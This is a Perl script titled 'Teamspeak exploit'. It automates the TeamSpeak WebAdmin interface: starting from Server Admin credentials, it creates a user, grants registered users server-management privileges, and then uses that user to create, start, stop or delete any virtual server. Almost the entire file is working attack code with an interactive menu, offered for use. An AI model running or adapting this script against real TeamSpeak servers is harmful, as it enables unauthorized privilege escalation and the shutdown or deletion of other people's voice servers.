#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;

# #####################################################################
# Teamspeak exploit 
# by Gilberto "Velenux" Ficara <g.ficara@oltrelinux.com>
#
# !!! You require WebAdmin access as Server Admin !!!
#
# Connects to the web interface and let you:
#  * create a new user
#  * configure permissions for registered users (needed for the
#    exploit to work)
#  * create and start a new virtual server on your favourite port
#  * stop *any* virtual server
#  * delete *any* virtual server
#

# connection data
my($user, $pass, $host, $port, $serverport, $webadmin_uri) ;

my($LOGGED_IN_AS) ;
my($PRIVILEGES_OK) ;

# new user data
my($new_user, $new_pass) ;

# registered user permissions data
my %REGISTERED_USER_PRIVILEGES = (
		'ugRegisterred_upAccessWebAdminServer' => 1,
		'ugRegisterred_upAccessVoice' => 1,
		'ugRegisterred_upAdminListDBServers' => 1,
		'ugRegisterred_upAdminAddServer' => 1,
		'ugRegisterred_upAdminDeleteServer' => 1,
		'ugRegisterred_upAdminStopServer' => 1,
		'ugRegisterred_upAdminStartServer' => 1,
		'ugRegisterred_upAdminSetServerPermissions' => 1
) ;

# new server data
my($new_server_name, $new_server_description, $new_server_port) ;
my($new_server_pass, $new_server_max_users) ;
my($new_server_codec, $new_server_default_codec) ;

my @codecs = (
	'CODECCelp51',        # Celp 5.1
	'CODECCelp63',        # Celp 6.3
	'CODECGSM148',        # GSM 14.8
	'CODECGSM164',        # GSM 16.4
	'CODECWindowsCELP52', # CELP 5.2
	'CODECSPEEX2150',     # Speex low bitrate
	'CODECSPEEX3950',     # 
	'CODECSPEEX5950',     # 
	'CODECSPEEX8000',     # 
	'CODECSPEEX11000',    # Speex medium bitrate (default)
	'CODECSPEEX15000',    # 
	'CODECSPEEX18200',    # 
	'CODECSPEEX24600'     # Speex high bitrate
) ;

$new_server_default_codec = $codecs[9] ;




#
# init
#
$host = &getString("Insert WebAdmin interface host: " );
$host = ('http://' . $host) if $host !~ /^http:\/\//i ;
$host = lc $host ;

$port = &getNumber("Insert WebAdmin interface port [14534]: ", 14534) ;

$serverport = &getNumber("Insert TS Server port [8767]: ", 8767) ;

$user = &getString("Insert admin username [admin]: ", 'admin') ;

$pass = &getString("Insert admin password: ") ;

$webadmin_uri = $host . ':' . $port ;


#
# connection and login
#
my $ua = LWP::UserAgent->new() ;
$ua->agent('Mozilla/5.0') ; # fake, but who cares ?
push @{$ua->requests_redirectable}, 'POST';
$ua->cookie_jar( { file => "TS_Exploit_cookies.txt" } );


#
# log in as admin
#
sub logInAdmin {
	&printInfo("Logging in as admin... ") ;

	my $get_home = $ua->get( $webadmin_uri . '/' ) ;

	if ( $get_home->is_success ) { &printInfo("Got index and session... "); } 
	else {
		&printError("Problems getting the home...!") ;
		die "$!\n\n" ;
	}

	my $logged = $ua->post(
		$webadmin_uri . '/login.tscmd',
		{
		'username' => $user,
		'password' => $pass,
		'serverport' => $serverport
		} ) ;

	if ( $logged->is_success and &logInCheck( $logged->content ) ) {
		&printInfo("Logged in...\n");
		$LOGGED_IN_AS = 'admin' ;
		#print $logged->content . "\n\n" ;
	} else {
		&printError("Could not log in! " 
			. $logged->status_line . "\n\n" 
			. $logged->content ) ;
		die $logged->content ;
	}
}

#
# log in as user
#
sub logInRegistered {

	if(not $new_user and not $new_pass) {
		&addNewUser ;
	}

	if(not $PRIVILEGES_OK) {
		&setPrivileges ;
	}
        
	if( $LOGGED_IN_AS eq 'admin') {
                &logOut ;
        }

	&printInfo("Logging in as registered user... ") ;

	my $get_home = $ua->get( $webadmin_uri . '/' ) ;

	if ( $get_home->is_success ) { &printInfo("Got index and session... "); } 
	else {
		&printError("Problems getting the home...!") ;
		die "$!\n\n" ;
	}

	my $logged = $ua->post(
		$webadmin_uri . '/login.tscmd',
		{
		'username' => $new_user,
		'password' => $new_pass,
		'serverport' => $serverport
		} ) ;

	if ( $logged->is_success and &logInCheck( $logged->content ) ) {
		&printInfo("Logged in...\n");
		$LOGGED_IN_AS = 'registered' ;
		#print $logged->content . "\n\n" ;
	} else {
		&printError("Could not log in! " 
			. $logged->status_line . "\n\n" 
			. $logged->content ) ;
		die $logged->content ;
	}
}

#
# log in check
#
sub logInCheck {
        my $html = shift ;
        $html =~ s/[\r]?\n/\ /gi ;

        return 1 if $html =~ /TeamSpeak Server Administration.+Welcome to this TeamSpeak Server\'s WebInterface\!/ ;
        return 0 ;
}


#
# log out
#
sub logOut {
	my $logout = $ua->get( $webadmin_uri . '/logout.tscmd') ;
	
	if( $logout->is_success and &logOutCheck( $logout->content ) ) {
		&printInfo("Logged out...\n");
		$LOGGED_IN_AS = '';
	} else {
		&printError("Could not log out?! ") ;
		die $logout->content ;
	}
}


#
# log out check
#
sub logOutCheck {
        my $html = shift ;
        $html =~ s/[\r]?\n/\ /gi ;

        return 1 if $html =~ /Admin\/Client login/ ;
        return 0 ;
}



&logInAdmin ;

#
# logged in, start main()
#
my $choice = 0 ;

while ( 1 ) {
	$choice = &startMenu ;

	exit 0 if $choice == 9 ;

	if    ( $choice == 1 ) { &addNewUser }
	elsif ( $choice == 2 ) { &setPrivileges }
	elsif ( $choice == 3 ) { &setUserPass }
	elsif ( $choice == 4 ) { 
		&addNewServer ;  
		&startServers ;
	}
	elsif ( $choice == 5 ) { &startServer }
	elsif ( $choice == 6 ) { &stopServer }
	elsif ( $choice == 7 ) { &deleteServer }
}


#
# while choice loop
#

sub startMenu {
	my $choice = 0 ;

	while( 1 ) {
		&printMenu() ;
		$choice = <STDIN> ;
		chomp $choice ;
		if ( $choice > 0 and $choice =~ /^\d+$/ ) {
			return $choice; 
			last;
		}
	}
}


#
# print menu :)
#

sub printMenu {
	print "

=======================================================================
= LOGGED IN as $LOGGED_IN_AS: MAKE YOUR CHOICE
=======================================================================

1) Add new user
2) Configure permissions for the exploit
3) Setup registered user and password to use
4) Create and start a **new** virtual server on your preferred port
5) Start a virtual server running on $host
6) Stop a virtual server running on $host
7) Delete a virtual server running on $host

9) Quit.

??> " ;
}


#
# print Infos
#
sub printInfo {
	my $msg = shift ;
	print "**> $msg\n" ;
}

#
# print Errors
#
sub printError {
	my $msg = shift ;
	print STDERR "!!> $msg\n\n" ;
}

#
# print Questions
#
sub printQuestion {
	my $msg = shift ;
	print "??> $msg" ;
}


#
# add New User
#
sub addNewUser {

	if( $LOGGED_IN_AS ne 'admin') {
		&logOut ;
		&logInAdmin ;
	}

	&printInfo("Adding new user... ") ;

	$new_user = &getString("Please insert new username: ") ;
	$new_pass = &getString("Please insert password for $new_user: ") ;

	my $query = $ua->post(
			$webadmin_uri . '/add_client.tscmd',
			{
			'clientloginname'   => $new_user,
			'clientpw1'         => $new_pass,
			'clientpw2'          => $new_pass,
			'CLIENTSERVERADMIN' => 0
			} );
	
	if ( $query->is_success ) {
		# created
		&printInfo("User added!") ;
	} else {
		&printError("Some error has occurred:\n" .
			    "STATUS:  " . $query->status_line . "\n" . 
			    "CONTENT: " . $query->content );
	}
	
}


#
# set Permissions
#
sub setPrivileges {
	
	if( $LOGGED_IN_AS ne 'admin') {
		&logOut ;
		&logInAdmin ;
	}

	&printInfo("Setting up privileges (needed by the exploit)... ") ;

	my $orig_privileges = $ua->get( $webadmin_uri . '/server_manager_permission_r.html' ) ;

	if ( $orig_privileges->is_success ) {
		my $new_privileges = $ua->post(
					$webadmin_uri . '/permissions_server.tscmd',
					\%REGISTERED_USER_PRIVILEGES ) ;

		if ( $new_privileges->is_success ) {
			&printInfo("Privileges set up correctly!") ;
			$PRIVILEGES_OK = 1 ;
		} else {
	                &printError("Some error has occurred:\n" .
                            "STATUS:  " . $new_privileges->status_line . "\n" .
                            "CONTENT: " . $new_privileges->content );
        	}
	} else {
                &printError("Some error has occurred:\n" .
                            "STATUS:  " . $orig_privileges->status_line . "\n" .
                            "CONTENT: " . $orig_privileges->content );
        }

}


sub setUserPass {
        &printInfo("Setting up registered user... ") ;

	$new_user = &getString("Please insert username: ") ;
	$new_pass = &getString("Please insert password for $new_user: ") ;
}


#
# add new server
#
sub addNewServer {

	if( $LOGGED_IN_AS ne 'registered') {
		&logOut ;
		&logInRegistered ;
	}

	&printInfo("Adding new server... ") ;

	$new_server_name = &getString("Insert new server name: ", 'Temporary test server') ;
	$new_server_description = &getString("Insert new server description: ", 'Test') ;
	$new_server_port = &getNumber("Insert new server port[31338]: ", 31338) ;
	$new_server_max_users = &getNumber("Insert new server max users [10]: ", 10) ;
	$new_server_pass = &getString("Insert new server password (leave blank for no password): ", '') ;

	$new_server_codec = &getString("Default codec (you can choose one of: " 
					. join(", ", @codecs) 
					. ") [$new_server_default_codec]: ", 
					$new_server_default_codec
	) ;

	my $add_server = $ua->post(
				$webadmin_uri . '/add_server.tscmd',
				{
				'servername' => $new_server_name,
				'serverwelcomemessage' => $new_server_description,
				'serverudpport' => $new_server_port,
				'servertype' => 2,
				'servermaxusers' => $new_server_max_users,
				'serverpassword' => $new_server_pass,
				$new_server_codec => '1'
				} ) ;

	if ( $add_server->is_success and &addNewServerCheck( $add_server->content ) ) {
			&printInfo("Server added!") ;
	} else {
                &printError("Some error has occurred:\n" .
                            "STATUS:  " . $add_server->status_line . "\n" .
                            "CONTENT: " . $add_server->content );
        }
}


#
# check new server
#
sub addNewServerCheck {
	my $html = shift ;
	$html =~ s/[\r]?\n/\ /gi ;

	return 1 if $html =~ /operation successfully.+server config has been changed/ ;
	return 0 ;
}

#
# start all servers
#
sub startServer {

	if( $LOGGED_IN_AS ne 'registered') {
		&logOut ;
		&logInRegistered ;
	}

	&printInfo("Starting servers...") ;

        my $server_id = shift ;
	$server_id ||= &getNumber("Insert ID of the server to start: ") ;

	my $starting = $ua->get( $webadmin_uri . "/start_server.tscmd?serverid=$server_id" ) ;
	if ( $starting->is_success and &startServerCheck( $starting->content ) ) {
		&printInfo("Started server with ID: $server_id") ;
		return 1;
	} else {
		&printError("Cannot start server with ID: $server_id - Maybe it's already running?") ;
	}
}
#
# start all servers
#
sub startServers {

	if( $LOGGED_IN_AS ne 'registered') {
		&logOut ;
		&logInRegistered ;
	}

	&printInfo("Starting servers...") ;

	# 75 is max suggested number of virtual servers
	for(1..75) {
		my $starting = $ua->get( $webadmin_uri . "/start_server.tscmd?serverid=$_" ) ;
		if ( $starting->is_success and &startServerCheck( $starting->content ) ) {
			&printInfo("Started server with ID: $_") ;
			return 1;
		} else {
			&printError("Cannot start server with ID: $_ - Maybe it's already running?") ;
		}
	}
}

#
# check if server is started
#
sub startServerCheck {
        my $html = shift ;
        $html =~ s/[\r]?\n/\ /gi ;

        return 1 if $html =~ /operation successfully.+server has been started/ ;
        return 0 ;
}


#
# stop a server
#
sub stopServer {
	
	if( $LOGGED_IN_AS ne 'registered') {
		&logOut ;
		&logInRegistered ;
	}

	&printInfo("Stopping servers...") ;

	my $server_id = shift ;
	$server_id ||= &getNumber("Insert ID of the server to shut down: ") ;

	my $stopping = $ua->get( $webadmin_uri . "/stop_server.tscmd?serverid=$server_id" ) ;
	if ( $stopping->is_success and &stopServerCheck( $stopping->content ) ) {
		&printInfo("Server with ID was shut down!!!") ;
	} else {
		&printError("Can't stop server with ID $server_id, maybe it's already stopped?");
	}
}


#
# check if server is stopped
#
sub stopServerCheck {
        my $html = shift ;
        $html =~ s/[\r]?\n/\ /gi ;

        return 1 if $html =~ /operation successfully.+server has been stopped/ ;
        return 0 ;
}


#
# delete a server
#
sub deleteServer {
	
	if( $LOGGED_IN_AS ne 'registered') {
		&logOut ;
		&logInRegistered ;
	}

        &printInfo("Deleting servers...") ;

        my $server_id = &getNumber("Insert ID of the server to ***DELETE***: ") ;
	my $confirm   = &getBool("Are you really sure you want to ***DELETE*** server with ID $server_id? [y/N]", 0) ;

	if( $confirm ) {
		&stopServer( $server_id ) ;

		my $deleting = $ua->get( $webadmin_uri . "/ask_delete_server.tscmd?serverid=$server_id" ) ;
		
		if ( $deleting->is_success ) {
			$deleting = $ua->get( $webadmin_uri . "/DELETE_SERVER.TSCMD?serverid=$server_id" ) ;
		        if ( $deleting->is_success and &deleteServerCheck( $deleting->content ) ) {
        		        &printInfo("Server with ID was ***REMOVED*** !!!") ;
	        	} else {
				&printError("Server was not deleted!") ;
			}
		}
	}
}


#
# check if server is stopped
#
sub deleteServerCheck {
        my $html = shift ;
        $html =~ s/[\r]?\n/\ /gi ;

        return 1 if $html =~ /operation successfully.+server was deleted/ ;
        return 0 ;
}



#
# get String
#
sub getString {
	my $msg = shift ;
	my $default = shift ;

	while ( 1 ) {
		&printQuestion( $msg ) ;
		my $answer = <STDIN> ;
		if ( defined $answer and $answer =~ /^[\w|\d|\.|\\|\!|\_]+$/ ) {
			chomp $answer ;
			return $answer ;
		} 
		elsif ( defined $default and $answer =~ /^$/ )  {
			return $default ;
		}
		else {
			&printError("Not a valid string! Retry, please... ") ;
		}
	}
}


#
# get Number
#
sub getNumber {
	my $msg = shift ;
	my $default = shift ;

	while ( 1 ) {
		&printQuestion( $msg ) ;
		my $answer = <STDIN> ;
		if ( defined $answer and $answer =~ /^\d+$/ ) {
			chomp $answer ;
			return $answer ;
		}
		elsif ( defined $default and $answer =~ /^$/ ) {
			return $default ;
		}
		else {
			&printError("Not a valid number! Retry, please... ") ;
		}
	}
}

sub getBool {
	my $msg = shift ;
	my $default = shift ;

        while ( 1 ) {
                &printQuestion( $msg ) ;
                my $answer = <STDIN> ;
                if ( defined $answer and $answer =~ /^[y|n|yes|no]$/i ) {
                        return 1 ;
                }
                elsif ( defined $default and $answer =~ /^$/ ) {
                        return $default ;
                }
                else {
                        &printError("Not valid value! Retry, please... ") ;
                }
        }
}


#
# parse privileges
#
sub parsePrivilegesFromHTML {
        my $html = shift ;
        $html =~ s/[\r]?\n/\ /gi;

        my %ret = () ;

        my @rows = split(/\<\/tr\>\ \<tr\>/, $html) ;

        foreach my $row ( @rows ) {
                # field label, field name, fieldIsSelected?
                # <td>     - KickPlayerFromChannel   </td>   <td>     <input name="ugRegisterred_upKickPlayerFromChannel" value="1" type="checkbox">   </td>
                #
                next if not $row =~ /\<td\>\s+-\s+(.*?)\s+\<\/td\>\s+\<td\>\s+\<input.+?name=\"(.*?)\".+\<\/td\>\s+/i ;
                my $privilege_name  = $2 ;

                $ret{$privilege_name} = ( $row =~ /\<input.+checked=\"checked\".+\>/ ? 1 : 0 ) ;

                #print "\n\n<<< $row" ;
                #print "\n>>>$privilege_name -> $ret{$privilege_name}\n\n" ;
        }

        return %ret ;
}